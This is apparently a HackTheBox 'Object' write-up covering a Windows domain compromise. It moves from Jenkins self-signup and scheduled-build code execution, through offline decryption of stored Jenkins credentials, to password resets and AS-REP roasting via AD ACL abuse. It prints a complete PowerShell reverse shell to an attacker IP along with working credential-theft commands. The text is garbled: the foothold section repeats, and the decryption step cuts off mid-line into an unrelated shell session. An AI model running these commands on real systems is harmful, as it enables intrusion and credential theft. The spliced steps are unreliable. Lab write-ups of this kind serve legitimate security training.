> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/object.md). # Object Jenkins Signup→Scheduled Build RCE→Console Exfil→Decrypt Jenkins Creds→WinRM as Oliver→ForceChangePassword→Smith→GenericWrite→Logon Script→Engines.xls→Maria→WriteOwner→Domain Admin
**Difficulty:** Hard | **OS:** Windows | **Category:** Active Directory\ **IP:** `10.129.96.147` | **Date:** 2026-03-23 *** ### Overview Object is a Windows-based Active Directory machine that involves exploiting a publicly accessible Jenkins CI server to gain initial code execution, extracting and decrypting stored Jenkins credentials offline, and then pivoting through a chain of AD ACL misconfigurations (ForceChangePassword → GenericWrite → WriteOwner) to ultimately escalate to Domain Admin. **Attack Chain Summary:** ``` Jenkins (unauthenticated signup) → RCE via scheduled build → Decrypt jenkins credentials → WinRM as oliver → ForceChangePassword on smith → GenericWrite on maria → AS-REP Roast / Shadow Creds / Logon Script → WriteOwner on Domain Admins → Domain Admin → root.txt ``` *** ### Enumeration #### Nmap ```bash ┌──(kali㉿kali)-[~] └─$ nmap 10.129.96.147 -sCV Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 00:32 -0400 Nmap scan report for 10.129.96.147 Host is up (0.29s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Mega Engines 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 8080/tcp open http Jetty 9.4.43.v20210629 |_http-title: Site doesn't have a title (text/html;charset=utf-8). |_http-server-header: Jetty(9.4.43.v20210629) | http-robots.txt: 1 disallowed entry |_/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows ``` **Key observations:** * **Port 80** — IIS web server, hosting a site called "Mega Engines" * **Port 5985** — WinRM, useful for remote management once credentials are obtained * **Port 8080** — Jetty server, the default servlet container for Jenkins. The `robots.txt` disallowing `/` hints at a web application #### Jenkins on Port 8080 Visiting `http://10.129.96.147:8080` reveals a **Jenkins** CI/CD server (version 2.317). Crucially, the server allows **self-registration** — we can sign up for a new account without any invite or admin approval. After registering and logging in, the dashboard shows two idle build executors but no existing jobs.
*** ### Foothold — Jenkins RCE via Scheduled Build #### Setting Up the Job Jenkins allows authenticated users to create "Freestyle" jobs with arbitrary build steps. We create a new item and add a **"Execute Windows batch command"** build step. The intended approach would be a PowerShell reverse shell: ```powershell powershell -NoP -NonI -W Hidden -Exec Bypass -c "$client=New-Object System.Net.Sockets.TCPClient('10.10.16.5',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` then, start a netcat listener. and click on apply, then save *** ### Foothold — Jenkins RCE via Scheduled Build #### Setting Up the Job Jenkins allows authenticated users to create "Freestyle" jobs with arbitrary build steps. We create a new item and add a **"Execute Windows batch command"** build step. The intended approach would be a PowerShell reverse shell: ```powershell powershell -NoP -NonI -W Hidden -Exec Bypass -c "$client=New-Object System.Net.Sockets.TCPClient('10.10.16.5',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}" ``` #### The Build Permissions Problem After saving the job, the **"Build Now"** button is absent from the sidebar — our account lacks the `Job/Build` permission. Attempting to trigger it manually via URL confirms this: ``` http://object.htb:8080/job/test1/build?delay=0sec → Access Denied: test is missing the Job/Build permission ```
confirming the case #### Workaround: Scheduled Builds Jenkins supports **cron-style build triggers**. Navigate to: > Job → Configure → Build Triggers → Build periodically Enter `* * * * *` to run every minute: ``` * * * * * │ │ │ │ └── Day of week (0-7) │ │ │ └──── Month (1-12) │ │ └────── Day of month (1-31) │ └──────── Hour (0-23) └────────── Minute (0-59) ``` #### Outbound Firewall Blocks Reverse Shells Despite the scheduled build triggering correctly, all reverse shell attempts fail — the machine's outbound firewall blocks egress TCP connections. Instead, we pivot to **exfiltrating data through the build console output**, which is readable in the Jenkins UI. #### Initial Enumeration via Build Output We replace the build step with enumeration commands and read the results from the console log: ```powershell whoami whoami /priv dir C:\Users\oliver\Desktop type C:\Users\oliver\Desktop\user.txt dir C:\Users\oliver\ dir C:\Users\ type C:\Users\oliver\.jenkins\secrets\master.key dir "C:\Program Files" ``` And got the following response ```powershell Started by timer Running as SYSTEM Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1 [test1] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins7977482691817767238.bat C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>whoami object\oliver C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>dir C:\Users\oliver\Desktop Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of C:\Users\oliver\Desktop 10/22/2021 03:41 AM . 10/22/2021 03:41 AM .. 03/23/2026 12:44 AM 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 4,727,795,712 bytes free C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>type C:\Users\oliver\Desktop\user.txt 0767xxxxxxxxxxxxxxxxxxxx689d C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>dir C:\Users\oliver\ Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of C:\Users\oliver 11/10/2021 04:20 AM . 11/10/2021 04:20 AM .. 10/20/2021 10:13 PM .groovy 10/20/2021 09:56 PM 3D Objects 10/20/2021 09:56 PM Contacts 10/22/2021 03:41 AM Desktop 10/20/2021 09:56 PM Documents 10/20/2021 09:56 PM Downloads 10/20/2021 09:56 PM Favorites 10/20/2021 09:56 PM Links 10/20/2021 09:56 PM Music 10/20/2021 09:56 PM Pictures 10/20/2021 09:56 PM Saved Games 10/20/2021 09:56 PM Searches 10/20/2021 09:56 PM Videos 0 File(s) 0 bytes 15 Dir(s) 4,727,795,712 bytes free C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>dir C:\Users\ Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of C:\Users 10/22/2021 03:54 AM . 10/22/2021 03:54 AM .. 11/10/2021 04:20 AM Administrator 10/26/2021 07:59 AM maria 10/26/2021 07:58 AM oliver 04/10/2020 10:49 AM Public 10/21/2021 03:44 AM smith 0 File(s) 0 bytes 7 Dir(s) 4,727,795,712 bytes free C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>type C:\Users\oliver\.jenkins\secrets\master.key The system cannot find the path specified. C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>dir "C:\Program Files" Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of C:\Program Files 10/20/2021 10:08 PM . 10/20/2021 10:08 PM .. 10/20/2021 10:06 PM Common Files 08/24/2021 07:47 AM internet explorer 10/20/2021 10:06 PM Java 10/20/2021 10:08 PM Jenkins 08/25/2021 02:57 AM VMware 08/24/2021 07:47 AM Windows Defender 08/24/2021 07:47 AM Windows Defender Advanced Threat Protection 08/24/2021 07:47 AM Windows Mail 08/24/2021 07:47 AM Windows Media Player 09/15/2018 12:19 AM Windows Multimedia Platform 09/15/2018 12:28 AM windows nt 08/24/2021 07:47 AM Windows Photo Viewer 09/15/2018 12:19 AM Windows Portable Devices 09/15/2018 12:19 AM Windows Security 09/15/2018 12:19 AM WindowsPowerShell 0 File(s) 0 bytes 17 Dir(s) 4,727,791,616 bytes free C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>exit 0 Finished: SUCCESS ``` **Build runs as:** `object\oliver` (via the SYSTEM service account impersonating the Jenkins user) **Privileges identified:** ``` SeImpersonatePrivilege — Enabled SeCreateGlobalPrivilege — Enabled SeChangeNotifyPrivilege — Enabled ``` > `SeImpersonatePrivilege` is significant — normally exploitable via potato attacks, but those require network egress or named pipe access. **User flag retrieved:** ``` C:\Users\oliver\Desktop\user.txt 0767xxxxxxxxxxxxxxxxxxxxxxxx689d ``` **Other users on the machine:** ``` C:\Users\ ├── Administrator ├── maria ├── oliver ├── smith └── Public ``` *** ### Credential Extraction — Jenkins Offline Decryption Jenkins stores credentials encrypted on disk. The encryption relies on three files: | File | Purpose | | ----------------------------------------- | -------------------------- | | `secrets/master.key` | AES key seed (hex-encoded) | | `secrets/hudson.util.Secret` | Derived AES key (binary) | | `credentials.xml` or `users/*/config.xml` | Encrypted credentials | #### Step 1 — Locate and Read the Files ```powershell dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\ dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\ type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\credentials.xml dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\ ``` `credentials.xml` is missing, but the **admin user's config.xml** contains stored credentials: ```powershell Started by timer Running as SYSTEM Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1 [test1] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins12600537657105216822.bat C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\ Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of C:\Users\oliver\AppData\Local\Jenkins\.jenkins 03/23/2026 01:01 AM . 03/23/2026 01:01 AM .. 03/23/2026 12:45 AM 0 .lastStarted 11/10/2021 03:20 AM 41 .owner 03/23/2026 12:45 AM 2,505 config.xml 03/23/2026 12:45 AM 156 hudson.model.UpdateCenter.xml 10/20/2021 10:13 PM 375 hudson.plugins.git.GitTool.xml 10/20/2021 10:08 PM 1,712 identity.key.enc 03/23/2026 12:45 AM 5 jenkins.install.InstallUtil.lastExecVersion 10/20/2021 10:14 PM 5 jenkins.install.UpgradeWizard.state 10/20/2021 10:14 PM 179 jenkins.model.JenkinsLocationConfiguration.xml 10/20/2021 10:21 PM 357 jenkins.security.apitoken.ApiTokenPropertyConfiguration.xml 10/20/2021 10:21 PM 169 jenkins.security.QueueItemAuthenticatorConfiguration.xml 10/20/2021 10:21 PM 162 jenkins.security.UpdateSiteWarningsConfiguration.xml 10/20/2021 10:08 PM 171 jenkins.telemetry.Correlator.xml 03/23/2026 12:47 AM jobs 10/20/2021 10:19 PM logs 03/23/2026 12:45 AM 907 nodeMonitors.xml 10/20/2021 10:08 PM nodes 10/20/2021 10:12 PM plugins 03/23/2026 01:01 AM 130 queue.xml 10/20/2021 10:28 PM 129 queue.xml.bak 10/20/2021 10:08 PM 64 secret.key 10/20/2021 10:08 PM 0 secret.key.not-so-secret 10/20/2021 10:26 PM secrets 10/25/2021 10:31 PM updates 10/20/2021 10:08 PM userContent 03/23/2026 12:47 AM users 10/20/2021 10:13 PM workflow-libs 03/23/2026 12:48 AM workspace 18 File(s) 7,067 bytes 12 Dir(s) 4,725,751,808 bytes free C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\ Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets 10/20/2021 10:26 PM . 10/20/2021 10:26 PM .. 10/20/2021 10:08 PM filepath-filters.d 10/20/2021 10:26 PM 272 hudson.console.AnnotatedLargeText.consoleAnnotator 10/20/2021 10:26 PM 32 hudson.model.Job.serverCookie 10/20/2021 10:15 PM 272 hudson.util.Secret 10/20/2021 10:08 PM 32 jenkins.model.Jenkins.crumbSalt 10/20/2021 10:08 PM 256 master.key 10/20/2021 10:08 PM 272 org.jenkinsci.main.modules.instance_identity.InstanceIdentity.KEY 10/20/2021 10:21 PM 5 slave-to-master-security-kill-switch 10/20/2021 10:08 PM whitelisted-callables.d 7 File(s) 1,141 bytes 4 Dir(s) 4,725,751,808 bytes free C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19 C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\credentials.xml The system cannot find the file specified. C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\ Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users 03/23/2026 12:47 AM . 03/23/2026 12:47 AM .. 10/21/2021 02:22 AM admin_17207690984073220035 03/23/2026 12:54 AM test_12797084460531170721 03/23/2026 12:47 AM 403 users.xml 1 File(s) 403 bytes 4 Dir(s) 4,725,747,712 bytes free C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>exit 0 Finished: SUCCESS ``` then ```powershell type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\users.xml dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\jobs\ ``` which returned ```powershell Started by timer Running as SYSTEM Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1 [test1] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins9209619420670902969.bat C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret �aPTñ‹ìQw3訾®Ã€ƒg·¢dw-J) uM†’,Ábˆn¨ \ îÙ!Ë÷s¢E¹Ä1âªaí;>©×õU‹‡¾Õµÿ™Þ8 îƽ¿xd$³ÌYU ©k1Α}ôAö»Ýv–…í„�¬©• `K� 8 D�aIâXÒD-Å"´¾¯í‹äGt\ñQå_]Æš”�Ç>J/©«ÎL('ÞìU§ �JÌ“á­|R´7Šè=vP7ˆ:ˆDÕ{ºKI8²Äžû!U�ק“úêXÊ P¿fŠáE4ìLܤ^ˆöð‡*áËù‚ZˆuÒ®tdÊ„! 7zßQ" C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml 10 admin admin 320a60b9-1e5c-4399-8afe-44466c9cde9e oliver {AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=} false all false false default ea75b5bd80e4763e true #jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW admin@object.local authenticated 1634793332195 C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\users.xml 1 test test_12797084460531170721 admin admin_17207690984073220035 C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\jobs\ Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of C:\Users\oliver\AppData\Local\Jenkins\.jenkins\jobs 03/23/2026 12:47 AM . 03/23/2026 12:47 AM .. 03/23/2026 01:04 AM test1 0 File(s) 0 bytes 3 Dir(s) 4,723,441,664 bytes free C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>exit 0 Finished: SUCCESS ``` #### Step 2 — Retrieve master.key and hudson.util.Secret `master.key` is readable as plain text. `hudson.util.Secret` is binary — we base64-encode it before extracting via build output: ```powershell powershell -c "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret'))" ``` which returned ```powershell Started by timer Running as SYSTEM Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1 [test1] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins12606148479948550026.bat C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>powershell -c "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret'))" gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA= C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test1>exit 0 Finished: SUCCESS ``` Output (base64): ``` gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnE MeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROV ... ``` #### Step 3 — Offline Decryption Using [pwn\_jenkins](https://github.com/gquere/pwn_jenkins): ```bash ┌──(kali㉿kali)-[~/Documents/object] └─$ git clone https://github.com/gquere/pwn_jenkins Cloning into 'pwn_jenkins'... remote: Enumerating objects: 208, done. remote: Counting objects: 100% (25/25), done. remote: Compressing objects: 100% (19/19), done. remote: Total 208 (delta 20), reused 6 (delta 6), pack-reused 183 (from 2) Receiving objects: 100% (208/208), 136.48 KiB | 688.00 KiB/s, done. Resolving deltas: 100% (89/89), done. ┌──(kali㉿kali)-[~/Documents/object] └─$ cd pwn_jenkins ┌──(kali㉿kali)-[~/Documents/object/pwn_jenkins] └─$ echo 'f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19' > master.key ┌──(kali㉿kali)-[~/Documents/object/pwn_jenkins] └─$ echo 'gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=' | base64 -d > hudson.util.Secret ┌──(kali㉿kali)-[~/Documents/object/pwn_jenkins] └─$ cd offline_decryption ┌──(kali㉿kali)-[~/Documents/object/pwn_jenkins/offline_decryption] └─$ cat > /tmp/credentials.xml << 'EOF' oliver {AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=} EOF ┌──(kali㉿kali)-[~/Documents/object/pwn_jenkins/offline_decryption] └─$ python3 jenkins_offline_decrypt.py ../master.key ../hudson.util.Secret /tmp/credentials.xml /home/kali/Documents/object/pwn_jenkins/offline_decryption/jenkins_offline_decrypt.py:124: SyntaxWarning: invalid escape sequence '\{' secrets += re.findall(secret_title + '>\{?(.*?)\}? whoami /all USER INFORMATION ---------------- User Name SID ============= ============================================== object\oliver S-1-5-21-4088429403-1159899800-2753317549-1103 GROUP INFORMATION ----------------- Group Name Type SID Attributes =========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled USER CLAIMS INFORMATION ----------------------- User claims unknown. Kerberos support for Dynamic Access Control on this device has been disabled. *Evil-WinRM* PS C:\Users\oliver> upload /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1 *Evil-WinRM* PS C:\Users\oliver> Import-Module ./powerview.ps1 ``` ACL Discovery — oliver has ForceChangePassword on smith ```bash *Evil-WinRM* PS C:\Users\oliver> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match "oliver"} ObjectDN : CN=Smith William,CN=Users,DC=object,DC=local AceQualifier : AccessAllowed ActiveDirectoryRights : ExtendedRight ObjectAceType : User-Force-Change-Password AceFlags : None AceType : AccessAllowedObject InheritanceFlags : None SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1103 IdentityReferenceName : oliver IdentityReferenceDomain : object.local IdentityReferenceDN : CN=Olivar Ava,CN=Users,DC=object,DC=local IdentityReferenceClass : user ``` `ForceChangePassword` allows us to reset smith's password **without knowing the current one**. ```bash *Evil-WinRM* PS C:\Users\oliver> $pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force *Evil-WinRM* PS C:\Users\oliver> Set-DomainUserPassword -Identity smith -AccountPassword $pass ``` *** ### Lateral Movement — smith → WinRM ```bash ┌──(kali㉿kali)-[~] └─$ evil-winrm -i 10.129.96.147 -u smith -p 'Password123!' *Evil-WinRM* PS C:\Users\smith\Desktop> whoami /all USER INFORMATION ---------------- User Name SID ============ ============================================== object\smith S-1-5-21-4088429403-1159899800-2753317549-1104 GROUP INFORMATION ----------------- Group Name Type SID Attributes =========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled USER CLAIMS INFORMATION ----------------------- User claims unknown. Kerberos support for Dynamic Access Control on this device has been disabled. ``` ACL Discovery — smith has GenericWrite on maria ```bash # NOW IN THIS SESSION IMPORT POWERVIEW AGAIN *Evil-WinRM* PS C:\Users\smith\Desktop> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match "smith"} ObjectDN : CN=maria garcia,CN=Users,DC=object,DC=local AceQualifier : AccessAllowed ActiveDirectoryRights : ReadProperty, WriteProperty, GenericExecute ObjectAceType : None AceFlags : None AceType : AccessAllowed InheritanceFlags : None SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1104 IdentityReferenceName : smith IdentityReferenceDomain : object.local IdentityReferenceDN : CN=Smith William,CN=Users,DC=object,DC=local IdentityReferenceClass : user ``` `GenericWrite` allows modifying arbitrary attributes on the target object — a powerful primitive. Several attack paths are possible: #### Attack Path A — AS-REP Roasting (Failed) `GenericWrite` lets us set `msDS-AllowedToDelegateTo` or disable pre-authentication. We attempt AS-REP roasting: ```bash *Evil-WinRM* PS C:\Users\smith\Desktop> Set-DomainObject -Identity maria -Set @{serviceprincipalname='fake/NOTHING'} *Evil-WinRM* PS C:\Users\smith\Desktop> Set-DomainObject -Identity maria -XOR @{useraccountcontrol=4194304} *Evil-WinRM* PS C:\Users\smith\Desktop> Get-DomainUser maria -Properties * logoncount : 41 badpasswordtime : 10/22/2021 5:54:46 AM distinguishedname : CN=maria garcia,CN=Users,DC=object,DC=local objectclass : {top, person, organizationalPerson, user} displayname : maria garcia lastlogontimestamp : 3/23/2026 12:44:25 AM userprincipalname : maria@object.local samaccountname : maria codepage : 0 samaccounttype : USER_OBJECT accountexpires : NEVER countrycode : 0 whenchanged : 3/23/2026 8:45:23 AM instancetype : 4 usncreated : 20645 objectguid : 9340fcdd-2f1e-4f89-bafe-e1dcdd5c2b6f sn : garcia lastlogoff : 12/31/1600 4:00:00 PM whencreated : 10/22/2021 4:16:32 AM objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=object,DC=local dscorepropagationdata : {10/22/2021 10:21:48 AM, 10/22/2021 10:10:02 AM, 10/22/2021 10:04:25 AM, 10/22/2021 9:52:43 AM...} serviceprincipalname : fake/NOTHING givenname : maria usnchanged : 168121 memberof : CN=Remote Management Users,CN=Builtin,DC=object,DC=local lastlogon : 3/23/2026 12:44:25 AM badpwdcount : 0 cn : maria garcia useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH objectsid : S-1-5-21-4088429403-1159899800-2753317549-1106 primarygroupid : 513 pwdlastset : 10/21/2021 9:16:32 PM name : maria garcia *Evil-WinRM* PS C:\Users\smith\Documents> upload Rubeus.exe Info: Uploading /home/kali/Documents/object/Rubeus.exe to C:\Users\smith\Documents\Rubeus.exe Data: 595968 bytes of 595968 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\smith\Documents> .\Rubeus.exe asreproast /user:maria /format:hashcat /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 [*] Action: AS-REP roasting [*] Target User : maria [*] Target Domain : object.local [*] Searching path 'LDAP://jenkins.object.local/DC=object,DC=local' for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName=maria))' [*] SamAccountName : maria [*] DistinguishedName : CN=maria garcia,CN=Users,DC=object,DC=local [*] Using domain controller: jenkins.object.local (fe80::2802:61e2:dd8:9d51%12) [*] Building AS-REQ (w/o preauth) for: 'object.local\maria' [+] AS-REQ w/o preauth successful! [*] AS-REP hash: 